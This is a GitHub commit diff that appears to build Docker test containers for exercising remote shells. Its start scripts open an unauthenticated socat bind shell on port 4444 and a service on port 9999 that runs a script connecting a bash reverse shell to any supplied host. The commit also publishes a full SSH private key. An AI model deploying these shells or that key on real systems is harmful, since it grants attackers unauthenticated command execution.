-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Working ubuntu and centos builds. Added public/private key for testing.
- Loading branch information
1 parent
0d10728
commit 636a9ea
Showing
10 changed files
with
98 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
|
||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWaGA9Eog2cbE1AliE6NTmzoGiYkVwA82p5YoM5okwWodqzhVHEMyA/VZ9ovPmvvPekAs664/TMaR73Xb1fNxkzfGjisxBWqN4oOQnOQ/qoG/H5J00YucCFPjIRefIX5uhbnfU1uQIXlm9BBRu9Or2ZPRvLZvnFoiJ2iFF7xpoUfrHAYnpwvyHDUWhCnaFTsSR2JY6V9d5sK2Wp8WACdJNcwYb48V9vnc2hajNKn9mU2yUki6XVg062mfYFrelpknYZglKiig8qrD5d2K0Kanaxd/41nZ7pW/MompYdjOHKIeb/8HYG0+Ajvd49xfYimRlapPQVu96Wp/r/xUW+Xc+oWEq10dybaf9fE9o0PypZKdz32duJlSq2pH2o6XnAN1RcbkLYxFxBDIWNN2oUIvNrI+/+q1HYZIZQP1gPWsfQo2Q9lMNvfte4P73ZCLnPukh+rQO05DGHdtipT7IXK2VbQscSocSSn1X6hMePx8eTLCKCMDYD1E0MdefhQnZplc= caleb@stewie-ryzen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,10 @@ | ||
#!/bin/sh | ||
|
||
# Start the SSH server | ||
/usr/sbin/sshd & | ||
|
||
# Start a service which can trigger reverse shells | ||
socat tcp-l:9999,fork,setsid,reuseaddr EXEC:/reverse.sh & | ||
|
||
# Start an infinite bind shell | ||
sudo -u caleb socat TCP-LISTEN:4444,reuseaddr,fork,setsid EXEC:/bin/bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
-----BEGIN OPENSSH PRIVATE KEY----- | ||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn | ||
NhAAAAAwEAAQAAAYEA1mhgPRKINnGxNQJYhOjU5s6BomJFcAPNqeWKDOaJMFqHas4VRxDM | ||
gP1WfaLz5r7z3pALOuuP0zGke9129XzcZM3xo4rMQVqjeKDkJzkP6qBvx+SdNGLnAhT4yE | ||
XnyF+boW531NbkCF5ZvQQUbvTq9mT0by2b5xaIidohRe8aaFH6xwGJ6cL8hw1FoQp2hU7E | ||
kdiWOlfXebCtlqfFgAnSTXMGG+PFfb53NoWozSp/ZlNslJIul1YNOtpn2Ba3paZJ2GYJSo | ||
ooPKqw+XditCmp2sXf+NZ2e6VvzKJqWHYzhyiHm//B2BtPgI73ePcX2IpkZWqT0Fbvelqf | ||
6/8VFvl3PqFhKtdHcm2n/XxPaND8qWSnc99nbiZUqtqR9qOl5wDdUXG5C2MRcQQyFjTdqF | ||
CLzayPv/qtR2GSGUD9YD1rH0KNkPZTDb37XuD+92Qi5z7pIfq0DtOQxh3bYqU+yFytlW0L | ||
HEqHEkp9V+oTHj8fHkywigjA2A9RNDHXn4UJ2aZXAAAFiNHZXzHR2V8xAAAAB3NzaC1yc2 | ||
EAAAGBANZoYD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PUlzPzAXXk8FBlwAfaqTV2DxxAAAA | ||
wE6qfvhmqjvRAruNuUkB2R/RkiDCpe6G8hR3Eby/WkcWfx9KPNtcV3ALNPrk7NNvraSYd6 | ||
+fMuUEQT7DDZ7CQQJUPI3d7pN32J/k2wz1AzC31D7D9vLZLnVredBY2at1g2O9mEzIMSEE | ||
IQFThNyF0k54/Bs27tss8oKPq5COogK5LiygmS2MCBRAruXXLvCVpksMegfdFVS6eMXCJH | ||
Y2/OM35UKtDOF76+fGIvGk5+VGOo9RkH9E5I8np0qY6ILzaQAAAMEA+wZAju/elWYVV7r9 | ||
6jBoucPnl0bF57+zqQV9aq4L12a/jfX7kcPPf0eq6P4QON1M4vIpzw3t4etbVuErUJ22Zd | ||
LHl+eMG1/T8yFnLbiTn5sg9GjEOjI89Y6Y4dk51IZNmhef5ljWM0yk3RtJZWXoRsUqhWk/ | ||
TRsW/JDIvmw7PRsNC2HDhgWUBmUTLey9tm24ebzN/pteIdmGPYtfktA+gWHNkF9LtGPZRn | ||
P9vwtvi0MRAerxPi/OWze46GowiPWbAAAAwQDaqFLEzwYbD1HhJq4NPPyNZ2IzagUnnNMo | ||
w7pRqe2SUFVYPo+6lSDugK12Rof3Hepd9W9bhQHIeNZcX7RFA7vzf8b1NEo+OYtE2vzis2 | ||
0AIhwVRPR8dDtGtsTanZ+mRysF0drZs01XRp354a9lALKtcuh8I4q6EfiB+Bc3vEGKt03w | ||
BmvTIrzcJUPO47CsDhoBonX1hJPVzcoTgmIN+59osbPrYurcKIqlu1juiKsxoQuB4PBKbn | ||
dsVDEKRN4x2/UAAAASY2FsZWJAc3Rld2llLXJ5emVuAQ== | ||
-----END OPENSSH PRIVATE KEY----- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWaGA9Eog2cbE1AliE6NTmzoGiYkVwA82p5YoM5okwWodqzhVHEMyA/VZ9ovPmvvPekAs664/TMaR73Xb1fNxkzfGjisxBWqN4oOQnOQ/qoG/H5J00YucCFPjIRefIX5uhbnfU1uQIXlm9BBRu9Or2ZPRvLZvnFoiJ2iFF7xpoUfrHAYnpwvyHDUWhCnaFTsSR2JY6V9d5sK2Wp8WACdJNcwYb48V9vnc2hajNKn9mU2yUki6XVg062mfYFrelpknYZglKiig8qrD5d2K0Kanaxd/41nZ7pW/MompYdjOHKIeb/8HYG0+Ajvd49xfYimRlapPQVu96Wp/r/xUW+Xc+oWEq10dybaf9fE9o0PypZKdz32duJlSq2pH2o6XnAN1RcbkLYxFxBDIWNN2oUIvNrI+/+q1HYZIZQP1gPWsfQo2Q9lMNvfte4P73ZCLnPukh+rQO05DGHdtipT7IXK2VbQscSocSSn1X6hMePx8eTLCKCMDYD1E0MdefhQnZplc= caleb@stewie-ryzen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,30 @@ | ||
FROM ubuntu:20.04 | ||
FROM ubuntu:latest | ||
|
||
RUN apt-get update -y && apt-get -y install socat openssh-server sudo | ||
|
||
# Create "privilege separation directory" | ||
RUN mkdir -p /run/sshd | ||
|
||
# Create users | ||
RUN useradd -m -U caleb | ||
RUN useradd -m -U john | ||
|
||
# Setup user SSH directories | ||
RUN mkdir -p /home/caleb/.ssh /home/john/.ssh | ||
COPY id_rsa.pub /home/caleb/.ssh/authorized_keys | ||
RUN chown -R caleb:caleb /home/caleb && chown -R john:john /home/john | ||
RUN chmod 600 /home/caleb/.ssh/authorized_keys | ||
|
||
# Copy the startup script | ||
COPY start.sh /start.sh | ||
RUN chmod +x /start.sh | ||
|
||
# Copy reverse shell script | ||
COPY reverse.sh /reverse.sh | ||
RUN chmod +x /reverse.sh | ||
|
||
expose 22 | ||
expose 9999 | ||
expose 4444 | ||
|
||
ENTRYPOINT ["/start.sh"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWaGA9Eog2cbE1AliE6NTmzoGiYkVwA82p5YoM5okwWodqzhVHEMyA/VZ9ovPmvvPekAs664/TMaR73Xb1fNxkzfGjisxBWqN4oOQnOQ/qoG/H5J00YucCFPjIRefIX5uhbnfU1uQIXlm9BBRu9Or2ZPRvLZvnFoiJ2iFF7xpoUfrHAYnpwvyHDUWhCnaFTsSR2JY6V9d5sK2Wp8WACdJNcwYb48V9vnc2hajNKn9mU2yUki6XVg062mfYFrelpknYZglKiig8qrD5d2K0Kanaxd/41nZ7pW/MompYdjOHKIeb/8HYG0+Ajvd49xfYimRlapPQVu96Wp/r/xUW+Xc+oWEq10dybaf9fE9o0PypZKdz32duJlSq2pH2o6XnAN1RcbkLYxFxBDIWNN2oUIvNrI+/+q1HYZIZQP1gPWsfQo2Q9lMNvfte4P73ZCLnPukh+rQO05DGHdtipT7IXK2VbQscSocSSn1X6hMePx8eTLCKCMDYD1E0MdefhQnZplc= caleb@stewie-ryzen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
#!/bin/sh | ||
|
||
# Read the target host:port | ||
read -r TARGET | ||
# Close stdio | ||
exec <&- >&- 2>&- | ||
# Connect a shell (we use exec because we don't need this bash anymore) | ||
exec socat exec:/bin/bash,stderr tcp:$TARGET,connect-timeout=3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#!/bin/sh | ||
|
||
# Start the SSH server | ||
/usr/sbin/sshd & | ||
|
||
# Start a service which can trigger reverse shells | ||
socat tcp-l:9999,fork,setsid,reuseaddr EXEC:/reverse.sh & | ||
|
||
# Start an infinite bind shell | ||
sudo -u caleb socat TCP-LISTEN:4444,reuseaddr,fork,setsid EXEC:/bin/bash |